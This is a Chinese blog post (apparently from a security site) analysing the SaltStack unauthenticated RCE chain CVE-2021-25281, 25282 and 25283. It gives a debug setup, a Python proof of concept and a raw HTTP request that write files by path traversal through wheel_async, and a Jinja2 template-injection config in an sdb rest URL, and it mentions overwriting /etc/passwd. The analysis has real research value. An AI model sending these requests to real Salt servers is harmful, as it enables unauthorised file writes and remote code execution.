SaltStack未授权RCE分析(CVE-2021-25281 25282 25283)

阅读量269773

|

发布时间 : 2021-03-15 15:30:47

 

2月26号,那是一个风和日丽的夜晚,我看着电脑,电脑看着我。群里的大佬突然就甩了一个saltstack 未授权任意文件写入的poc,告诉我后面还有个RCE。我看着大佬,大佬看着我,我看了看自己日渐下降的技术,狠狠心跟了一波这个漏洞。

 

背景

SaltStack管理工具允许管理员对多个操作系统创建一个一致的管理系统,包括VMware vSphere环境。SaltStack事件驱动的自动化软件帮助IT组织大规模管理和保护云基础设施,同时自动化高效编排企业DevOps工作流。

2月26号,SaltStack发布高危漏洞通告。漏洞通过CVE-2021-25281 未授权访问CVE-2021-25282 任意文件写入,最后配合CVE-2021-25283 模板注入完成了未授权RCE的组合洞。

 

Debug环境配置

去github挑一个漏洞范围内的版本下载下来,我下载的版本为salt-3002.1,环境为了方便调试选择Ubuntu

解压完进入scripts目录,里面是salt的启动脚本

sudo cp -r * /usr/local/bin/

pip创建链接用的egg,方便一会直接debug

pip3 install -e .

创建/etc/salt/目录,写入如下配置文件,为了方便偷懒调试,将disable_ssl设置为true,省去生成ssl证书的环节

/etc/salt/master.d/netapi.conf

rest_cherrypy:
  port: 8000
  disable_ssl: True
external_auth:
  pam:
    saltdev:
      - .*
      - '@wheel'   # to allow access to all wheel modules
      - '@runner'  # to allow access to all runner modules
      - '@jobs'    # to allow access to the jobs runner and/or wheel module

/etc/salt/master.d/autoaccept.conf

auto_accept: True

启动测试一下

sudo salt-master
sudo salt-api -l all #打印所有信息

用vscode打开salt项目,创建lanuch.json文件

{
    // Use IntelliSense to learn about possible attributes.
    // Hover to view descriptions of existing attributes.
    // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
    "version": "0.2.0",
    "configurations": [
        {
            "name": "FA1C0N",
            "type": "python",
            "request": "launch",
            "program": "/usr/local/bin/salt-api",
            "console": "integratedTerminal",
            "args": [
              "-l","all"
            ],
            "sudo": true,
        }
    ]
}

debug的时候先开个终端启动salt-master,再用vscode debug salt-api

 

wheel_async未授权访问(CVE-2021-25281)& wheel/pillar_roots.py文件任意写漏洞 (CVE-2021-25282 )

直接访问salt-api的端口可以看到所有能调用的函数

按照云鼎实验室大佬1mperio的分析文章,salt-api在2020年的CVE-2020-25592就是因为ssh模块的授权问题导致了后续的RCE。虽然不是同一个时间,但是同一个地点,今天给大家接着表演一个未授权。不过这次出问题的是同胞兄弟wheel_async模块。

能不能任意调用,用公开的验证程序测一下就知道了

import requests

url = "http://127.0.0.1:8000/run"
json_data = [{
    "client": "wheel_async",
    "fun": "pillar_roots.write",
    "data": "FA1C0N is here",
    "path": "../../../../../tmp/FA1C0N",
    "username": "password",
    "password": "username",
    "eauth": "pam"
}]

r = requests.post(url, json=json_data, verify=False,proxies=proxies)
print(r.text)

运行poc,首先断在salt/salt/netapi/init.py:NetapiClient.run()函数,可以看到run函数是通过getattr的方式动态调用传入的wheel_async函数,并将args和kwargs作为参数传入

进入wheel_async函数,继续

进入cmd_async函数,此时fun参数就是我们想要触发写入文件的函数,继续

第541行的代码就是我们准备要跳转的地方,self._proc_function函数接下来会调用salt/salt/client/mixins.py:SyncClientMixin.low(),并通过该函数使用args参数和kwargs参数动态调用wheel包中的方法。

在salt/wheel/pillar_roots.py的write函数下断点,中途不存在什么过滤,完美到达写入位置。(注意由于salt是用的异步+管道的方式,因此能不能断到完全随缘是时候看看自己是不是有欧洲血统了

 

sdb rest插件模板注入(CVE-2021-25283)

配置文件这里被卡了好久,晚上睡觉的时候漏洞之神给我托梦这个配置文件的位置 指qq找大佬求助,终于让我给整明白了,不就master.d目录吗

sdb模块有许多后端,其中一个是rest(salt/sdb/rest.py),rest模块用来从远端的http服务器获取请求,而且支持模版渲染,且默认使用Jinja2引擎。

根据1mperio大佬的分析,配置文件实从url获取请求,而且还将url放到JINJA2中渲染,那么我们构造一个访问本地的http://127.0.0.1:8001/{% for i in range(10) %}{{ i }}{% endfor %}作为payload试试

有样学样,创建test.conf,

q: sdb://poc/testKey?a=1
poc:
  driver: rest
  testKey:
    url: 'http://127.0.0.1:8001/{% for i in range(10) %}{{ i }}{% endfor %}'

那么问题来了,怎么触发呢,按照1mperio大佬的说法是要从下面一堆里面找一个调用了master_config的函数

config.apply
config.update_config
config.values
error.error
file_roots.find
file_roots.list_env
file_roots.list_roots
file_roots.read
file_roots.write
key.accept
key.accept_dict
key.delete
key.delete_dict
key.finger
key.finger_master
key.gen
key.gen_accept
key.gen_keys
key.gen_signature
key.get_key
key.print
key.list
key.list_all
key.master_key_str
key.name_match
key.reject
key.reject_dict
minions.connected
pillar_roots.find
pillar_roots.list_env
pillar_roots.list_roots
pillar_roots.read
pillar_roots.write

调用master_config的函数太多了,这么多要怎么找呢,这里就要感谢pycharm万能ctrl+alt+H快捷键 qq抱大佬大腿才是最优解

先盲选第一个salt/wheel/config.py的config.apply,参数为key和value

根据之前pillar_roots.write的调用方式,我们直接修改之前的包为如下

POST /run HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 177
Content-Type: application/json

[{"client": "wheel_async", "fun": "config.apply", "key": "FA1C0N is here", "value": "../../../../../tmp/FA1C0N", "username": "password", "password": "username", "eauth": "pam"}]

发送,get it!Debug看看到底中间发生了什么

由于config.apply的调用跟pillar_roots.write一样都是通过wheel_async调用,断不断到完全随缘,因此我们这里用一个取巧的方法间接debug康康。

加载配置文件时,读取到sdb://my-rest-api/keys后,会找到配置文件1中的keys内容,将url作为Jinja2模板编译,使用?user=myuser作为变量渲染url,即会从 https://api.github.com/users/myuser/keys 中拉取数据。

根据1mperio大佬的文章的分析,那么我们启动salt-api的时候程序一定会自动加载一次master_config函数,try it !

在salt/config/init.py的master_config函数的apply_sdb位置下断点,重启salt-api,断到,get it! 假装此时我们是发送了config.apply才断到了master_config函数,opts里的值就是我们用上面的未授权写入的配置文件,跟进apply_sdb函数

apply_sdb函数会遍历我们传入的opts参数找出其中开头为”sdb://“的字符串,并传入sdb_get方法

sdb_get函数会将我们传入的sdb://poc/testKey?a=1字符串拆解,然后找到配置文件中的poc配置项,然后读取driver字段的值,赋值给fun变量,最后将a=1的值赋给query参数。

sdb函数主要是将参数赋值了LazyLoader,LazyLoader是为了加载salt.sdb包下面的function变量对应的方法,最终跳转的就是salt/sdb/rest.py的get函数

get函数调用了query函数,跟进去看看

query函数是将testKey?a=1解析后传入compile_template,断点位置的compile_template函数传入的input_data就是我们配置文件中写入的url值

继续跟进compile_template函数调用的render方法

render函数将传入的参数放入JINJA2中渲染,跟进JINJA函数

JINJA是将render_jinja_tmpl函数传入了wrap_tmpl_func方法

跟进wrap_tmpl_func,这里其实就是将tmplstr, context, tmplpath作为参数传入render_jinja_tmpl参数

跟进render_jinja_tmpl,成功抵达template.render函数,jinja2模板渲染!梦开始的地方!

 

验证漏洞

梳理一下流程,首先将文件写入的位置改为/etc/salt/master.d/test.conf,然后调用盲猜的config.apply函数感谢大佬直接把触发点放到第一个位置,触发SSTI漏洞,最终执行RCE。

salt的conf文件用的是yaml格式,因此需要注意一下转义的问题,如果不知道怎么转义才是正确的,直接用下面的脚本

import yaml

yamlFile = 'conf.yml'
complex_string = '''祖传SSTI payload'''
data = {
    'complex_str': complex_string
}
f = open(yamlFile, 'w', encoding='utf-8')
yaml.dump(data, f, allow_unicode=True)

祭出祖传的JINJA2 payload,生成test.conf,完美

发送上面我们写好的config.apply,RCE,yes!

 

总结

这个RCE顺下来是真的舒服,非常强大的组合洞,果然组合洞才是yyds。从一堆茫茫多的函数里找到未授权,再到写文件,最后一波配置文件完成SSTI,绝杀。甚至说如果salt使用root权限运行,我们可以通过文件覆盖覆盖/etc/passwd,直接打穿。你以为函数多就不能RCE了吗(战术后仰)

新人第一次写文章,写的不是很好,求师傅们轻喷ヽ(*。>Д<)o゜。

 

Refer

https://mp.weixin.qq.com/s/QvQoTuQJVthxS07pbLWJmg

https://paper.seebug.org/1491

https://mp.weixin.qq.com/s/iu4cS_DZTs0sVVg92RBe4Q

https://twitter.com/KevTheHermit/status/1365130814430846979

https://github.com/saltstack/salt/commit/3fbf9a35bc4f7a43f628631f89ebb31f907859e3

https://xz.aliyun.com/t/7746

https://www.jianshu.com/p/c8ef2036079b

本文由FA1C0N原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/233533

安全客 - 有思想的安全新媒体

分享到:微信
+13赞
收藏
FA1C0N
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66